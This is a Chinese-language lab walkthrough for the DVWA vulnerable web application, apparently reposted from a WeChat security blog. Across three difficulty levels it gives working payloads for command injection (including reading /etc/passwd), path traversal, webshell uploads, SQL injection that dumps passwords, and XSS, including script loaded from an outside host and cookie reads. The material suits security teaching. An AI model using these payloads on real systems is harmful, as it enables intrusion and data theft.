DVWA漏洞靶场通关手册(万字图文解析)

admin 2025年1月22日10:04:31评论11 views字数 6023阅读20分4秒阅读模式

DVWA靶场通关

  • 一、安全等级:Low
    • (一)Brute Force 密码爆破
    • (二)Command Injection 命令注入
    • (三)CSRF   跨站脚本伪造
    • (四)File Inclusion 文件包含
    • (五)File Upload 文件上传
    • (六)SQL Injection SQL注入
    • (七)SQL 注入(Blind) 盲注
    • (八)Weak Session IDs  虚假身份伪造
    • (九)XSS
  • 二、安全等级:Medium
    • (一)Brute Force 密码爆破
    • (二)Command Injection 命令注入
    • (三)CSRF   跨站脚本伪造
    • (四)File Inclusion 文件包含
    • (五)File Upload 文件上传
    • (六)SQL Injection SQL注入
    • (七)SQL 注入(Blind) 盲注
    • (八)XSS
  • 三、安全等级:Hight
    • (一)Brute Force 密码爆破
    • (二)Command Injection 命令注入
    • (三)CSRF   跨站脚本伪造
    • (四)File Inclusion 文件包含
    • (五)File Upload 文件上传
    • (六)SQL Injection SQL注入
    • (七)SQL 注入(Blind) 盲注
    • (八)XSS
    • 文章精选
    • 学习交流群

一、安全等级:Low

(一)Brute Force 密码爆破

用户admin

密码根据burp的爆破模块进行爆破

DVWA漏洞靶场通关手册(万字图文解析)
image

(二)Command Injection 命令注入

这里让我们ping一个地址

DVWA漏洞靶场通关手册(万字图文解析)
image

直接输入127.0.0.1 去ping 本地执行一下

DVWA漏洞靶场通关手册(万字图文解析)
image

这里我们可以用连接符| || & && 等去拼接字符,去执行我们想要执行的命令

127.0.0.1&whoami
DVWA漏洞靶场通关手册(万字图文解析)
image

知识复习:命令连接符

;(分号)

命令按照顺序(从左到右)被执行,并且可以用分号进行分隔。当有一条命令执行失败时,不会中断其它命令的执行。

ping -c 1 127.0.0.1;whoami

命令执行漏洞可以直接使用&&或者|和管道命令执行其他命令

命令链接符号解析

| (管道符号)

通过管理符 可以将一个命令的标准输出管理为另外一个命令的标准输入,当它失败后,会执行另外一条命令

ping -c 1 127.0.0.1|whoami

&(后台任务符号)

命令按照顺序(从左到右)被执行,跟分号作用一样;此符号作用是后台任务符

号使shell 在后台执行该任务,这样用户就可以立即得到一个提示符并继续其他工作

ping-c 4 127.0.0.1&cat /etc/passwd&

&&(逻辑与)

前后的命令的执行存在逻辑与关系,只有【&&】前面的命令执行成功后,它后面的命令才被执行

ping -c 4 127.0.0.1&&whoami

||(逻辑或)

前后命令的执行存在逻辑或关系,只有【||】前面的命令执行失败后,它后面的命令才被执行;

ping -c ||whoami

``(反引号)` !!!

当一个命令被解析时,它首先会执行反引号之间的操作。例如执行echo`ls-a` 将

会首先执行ls并捕获其输出信息。然后再将它传递给echo,并将ls的输出结果

打印在屏幕上,这被称为命令替换

echo whoami   命令替换,输出反引号内的命令

$(command) 命令替换    与反引号相似   (命令替换)

这是命令替换的不同符号。当反引号被过滤或编码时,可能会更有效。

ping -c 4 |echo $(whoami)

win 命令链接符

| &|| && 跟linux 一样

(三)CSRF   跨站脚本伪造

URL中的参数为password_new、password_conf,修改其参数值就可以进行密码的修改操作,原理就是前端传参点被恶意利用执行后端密码修改操作

第一个就是像这样在页面输入框中修改密码

DVWA漏洞靶场通关手册(万字图文解析)
image

第二个就是在URL中修改参数值然后发送请求就行修改

?password_new=admin&password_conf=admin&Change=Change#

DVWA漏洞靶场通关手册(万字图文解析)
image

(四)File Inclusion 文件包含

DVWA漏洞靶场通关手册(万字图文解析)
image

我们点击第一个文件,发现文件名显示在URL中,这就表明文件名是可控的。

DVWA漏洞靶场通关手册(万字图文解析)
image

/fi/?page=../../../../../etc/passwd  修改URL

DVWA漏洞靶场通关手册(万字图文解析)
image

触发文件包含漏洞,获得敏感文件信息

(五)File Upload 文件上传

没有任何防护,说是上传图片文件,但是上传php文件也可以直接进行上传

DVWA漏洞靶场通关手册(万字图文解析)
image
DVWA漏洞靶场通关手册(万字图文解析)
image
../../hackable/uploads/phpinfo.php

拿到路径直接进行访问就可以进入到phpinfo页面

DVWA漏洞靶场通关手册(万字图文解析)
image

(六)SQL Injection SQL注入

DVWA漏洞靶场通关手册(万字图文解析)
image

SQL 注入的思路就是,先进行验证判断类型,后针对性进行SQL注入攻击

这里可以看到输入的是1

这里输入

1 and 1=1# 进行验证,可以查询,表示存在sql注入,并且为数字类型的sql注入

DVWA漏洞靶场通关手册(万字图文解析)
image
1 union select user(),database()#
DVWA漏洞靶场通关手册(万字图文解析)
image

知识复习:sql注入原理

参数可控,使用户可以绕过防护对后端内容进行操作。

参数包含危险语句使得对敏感文件进行操作。

(1)1’报错验证原理

正常:select * from users where id =1   正常查询

错误: select * from users where id =1’  出现报错 同理 ‘1’’ 也会报错

如果出现报错则可能存在SQL注入

(2)1=1 与 1=2 验证(1=1为TURE 而 1=2 为FALSE)

select * from users where id = 1 and 1=1  正常查询 与了一个TURE

select * from users where id =1 and 1=2  查询为空(并不会报错) 与了一个FALSE

判断是否存在注入打点:

id = 1 and 1=1 --+

id = 1 and 1=2 --+

id = 1 or 1=1 --+

id = '1' or '1'='1'--+

id = "1" or "1"="1"--+

或 id = 1 and sleep(10) --+

(七)SQL 注入(Blind) 盲注

sql注入盲注就表明,网页不会有回显信息,需要我们利用另外的手段去获取信息

DVWA漏洞靶场通关手册(万字图文解析)
image
DVWA漏洞靶场通关手册(万字图文解析)
image

只有是或非两种状态,不会返回具体数据,所以就不能使用UNION查询

1 select substring(database(),1,3)=’dvw’

substring 取 database() 字段结果 1,3 从1开始长度为3的值,我们知道,语句真值为1时返回存在,为0时返回不存在,所以我们使用字符串的切片与字符串'dvw'做等号,如果数据库名称前三个确实是dvw那将会返回存在命令,反之

DVWA漏洞靶场通关手册(万字图文解析)
image

流程:

先判断字符长度,使用if语句

1 and if(length(database())=4)#

然后再从第一个字符a-z 1-9 一个一个开始判断

1 select substring(database(),1,1)=’a’
1 select substring(database(),1,4)=’dvwa

当然手工的盲注效率过低,我们可以利用burp,进行字典爆破,这样更加迅速

(八)Weak Session IDs  虚假身份伪造

我们拿到cookie可以免密码直接进入页面的。前端请求中带着Cookie给后端,后端就认为我们就是真正的用户,就不需要我们输入密码直接进入页面

DVWA漏洞靶场通关手册(万字图文解析)
image

(九)XSS

Dom 型

见框见参就X

简单的检验语句

<script>alert('XSS')</script>

DVWA漏洞靶场通关手册(万字图文解析)
image
DVWA漏洞靶场通关手册(万字图文解析)
image

反射型

一次型触发,见框就插

DVWA漏洞靶场通关手册(万字图文解析)
image

存储型

一直存在,持久型,除非将存储信息删掉

DVWA漏洞靶场通关手册(万字图文解析)
image

知识复习:XSS

XSS测试语句

在网站是否存在xss漏洞时,应该输入一些标签如<、>输入后查看网页源代码是 否过滤标签,如果没过滤,很大可能存在xss漏洞。 常用的测试语句

<h5>1</h5>

<span>1</span>

<script>console.log(1);</script>

"><span>x</span><"

'>"><span>x</span><'

"><span>x</span>//

XSS攻击语句

<script>alert(1)</script>

<svg onload=alert(1)>

<a href=javascript:alert(1)>

<a href='javascript:alert(1)'>aa

<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>

<IMG SRC=http://3w.org/XSS/xss.js/>

<IMG SRC=javascript:alert('XSS')>

二、安全等级:Medium

(一)Brute Force 密码爆破

还是和Low一样,都可以进行爆破,不一样的就是密码错误加了两秒的延时,就是速度慢一些,但是仍然可以使用burp进行爆破

DVWA漏洞靶场通关手册(万字图文解析)
image
DVWA漏洞靶场通关手册(万字图文解析)
image

(二)Command Injection 命令注入

127.0.0.1|whoami

DVWA漏洞靶场通关手册(万字图文解析)
image

这个等级下只是进行了简单的过滤但是过滤不完全,这里的 | (管道符)仍然可以使用,但是此处的 &&被过滤掉了

DVWA漏洞靶场通关手册(万字图文解析)
image

(三)CSRF   跨站脚本伪造

这个等级下又加了一层判断

if( stripos( _SERVER[ 'SERVER_NAME' ]) !== false )

DVWA漏洞靶场通关手册(万字图文解析)
image

这是对我们的Referer字段进行了判断,所以我们需要拿到正常访问的Referer字段,然后修改我们的数据包,就可进行修改密码了

DVWA漏洞靶场通关手册(万字图文解析)
image
DVWA漏洞靶场通关手册(万字图文解析)
image

(四)File Inclusion 文件包含

再次输入../../../etc/passwd之后就不能显示了

DVWA漏洞靶场通关手册(万字图文解析)
image
DVWA漏洞靶场通关手册(万字图文解析)
image

我们发现是将../和..,http过滤掉了,将其替换为空

所以我们就可以进行双写绕过,我想得到一个../怎么办呢

那就输入..././ ../被替换为空,那剩余的字符就是../了,同理http一样

重新构造payloud

..././..././..././..././..././etc/passwd

DVWA漏洞靶场通关手册(万字图文解析)
image

使用http协议构造的话同理

(五)File Upload 文件上传

这里对文件类型做了限制

DVWA漏洞靶场通关手册(万字图文解析)
image
DVWA漏洞靶场通关手册(万字图文解析)
image

burp抓包,修改一下数据包中的文件类型即可进行绕过

DVWA漏洞靶场通关手册(万字图文解析)
image

之后便上传成功

DVWA漏洞靶场通关手册(万字图文解析)
image

(六)SQL Injection SQL注入

和Low等级类似,但是id 传参是用的POST方式,需要使用burp抓包来进行sql注入

DVWA漏洞靶场通关手册(万字图文解析)
image

(七)SQL 注入(Blind) 盲注

也是POST方法,在burp中进行盲注

(八)XSS

Dom 型

可以看到这里给我们的script 过滤掉了,那我们可以换其他的标签,比如img标签

> </option><img src=1 οnerrοr=alert("XSS")

DVWA漏洞靶场通关手册(万字图文解析)
image

>/option></select><img src="javascript:alert('XSS')" />DVWA漏洞靶场通关手册(万字图文解析)

Xss的本质就是闭合标签,然后插入恶意代码

反射型

这个同理,对script标签进行过滤,可以使用img标签进行注入

DVWA漏洞靶场通关手册(万字图文解析)
image

存储型

这个是将script标签替换为空,所以我们可以进行双写绕过

<scr<script>ipt>

DVWA漏洞靶场通关手册(万字图文解析)
image

三、安全等级:Hight

(一)Brute Force 密码爆破

就一个200响应码其他都是302

DVWA漏洞靶场通关手册(万字图文解析)
image

这个等级下就给登录上了一个token了,每一次登录token就会变一次,所以我们需要用burp配置一个宏,去让它自动获取这个token以此支持我们的爆破

将这两个设为变量,并且设为草叉pitchfock模式

DVWA漏洞靶场通关手册(万字图文解析)
image

在Options里添加宏,并且获取回复拿到响应包,这里我们需要一个没有消耗点token的请求包,就是拦截后直接发给爆破模块去设置宏

DVWA漏洞靶场通关手册(万字图文解析)
image

搜索token,然后用鼠标将引号中的值划出,上面的参数burp会自动进行补全,并且将这个token值记录下来:9653a36a825fa896bb73991583132c8a

弄好之后就点击OK

DVWA漏洞靶场通关手册(万字图文解析)
image

重定向设置一下,这样最后登录就都是200显示了

DVWA漏洞靶场通关手册(万字图文解析)
image

网络错误重试给他设为0,token都是一次就无的肯定不能让它去重连的

DVWA漏洞靶场通关手册(万字图文解析)
image

并发设为1不能让它并发爆破,需要token进行逐个验证使用

DVWA漏洞靶场通关手册(万字图文解析)
image

第一个变量:字典加载

DVWA漏洞靶场通关手册(万字图文解析)
image

第二个变量使用递归搜索(grep)

DVWA漏洞靶场通关手册(万字图文解析)
image

然后开始攻击爆破

结果直接出来了,并且我们看到每个token 都是不一样的,自动获取的

DVWA漏洞靶场通关手册(万字图文解析)
image

(二)Command Injection 命令注入

我们可以看到大部分的连接符都被过滤了。但是这个 | 管道符 被过滤的时候后面加了个空格

DVWA漏洞靶场通关手册(万字图文解析)
image

所以我们使用127.0.0.1|whoami,也是可以做到RCE的

DVWA漏洞靶场通关手册(万字图文解析)
image

(三)CSRF   跨站脚本伪造

这里同样是加了一个token ,用token机制来防御CSRF。用户每次访问改密页面时,服务器都会返回一个随机的token,当浏览器向服务器发起请求时,需要提交token参数,而服务器在收到请求时,会优先检查token,只有token正确,才会处理客户端的请求。这里因为对请求的token进行了验证,所以比上两个等级的更加的安全。

DVWA漏洞靶场通关手册(万字图文解析)
image

(四)File Inclusion 文件包含

这里是直接做了白名单限制,必须为file*或者include.php否则就会File not found.

但是我们仍然可以利用file伪协议进行绕过file:///etc/passwd

DVWA漏洞靶场通关手册(万字图文解析)
image
DVWA漏洞靶场通关手册(万字图文解析)
image

(五)File Upload 文件上传

这里没办法了,直接强制要求必须是png、jpg等图片格式文件。

那就只能制作图片马了,并且搭配着上一个文件包含漏洞进行利用执行

随便拿一张图片用文本编辑,添加上我们利用的php恶意代码,然后正常上传.DVWA漏洞靶场通关手册(万字图文解析)

DVWA漏洞靶场通关手册(万字图文解析)
image

上传成功后回到文件包含漏洞点,用我们的php伪协议打开我们上传的图片,其中的phpinfo代码就会执行

DVWA漏洞靶场通关手册(万字图文解析)
image

(六)SQL Injection SQL注入

这里的话就是跳转到一个新的页面,并且对参数没有做任何防护,我们直接爆账号密码

1' union select user,password from users#

(七)SQL 注入(Blind) 盲注

我们可以看到这里给sleep设置了一个随机区间,这就导致基于时间状态的盲注就失效了。但是没事,我们还是像上面两个等级一样进行基于布尔值的盲注即可。

DVWA漏洞靶场通关手册(万字图文解析)
image

(八)XSS

Dom 型

这里设置了白名单,只允许French,English,German以及Spanish

DVWA漏洞靶场通关手册(万字图文解析)
image

但是我们仍然有进行绕过的方法

#</option></select><BODY ONLOAD=alert(document.cookie)>

究其原理还是闭合的思想。

DVWA漏洞靶场通关手册(万字图文解析)
image

反射型

这里对script进行了正则匹配的过滤,但是我们还是像上面一样使用其他类型的标签如img

<img src=1 οnerrοr=alert("XSS")> DVWA漏洞靶场通关手册(万字图文解析)

存储型

这个也是正则匹配过滤script,方法同上

DVWA漏洞靶场通关手册(万字图文解析)
image

 

DVWA漏洞靶场通关手册(万字图文解析)

原文始发于微信公众号(泷羽Sec-Blanks):DVWA漏洞靶场通关手册(万字图文解析)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月22日10:04:31
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   DVWA漏洞靶场通关手册(万字图文解析)http://cn-sec.com/archives/3645098.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息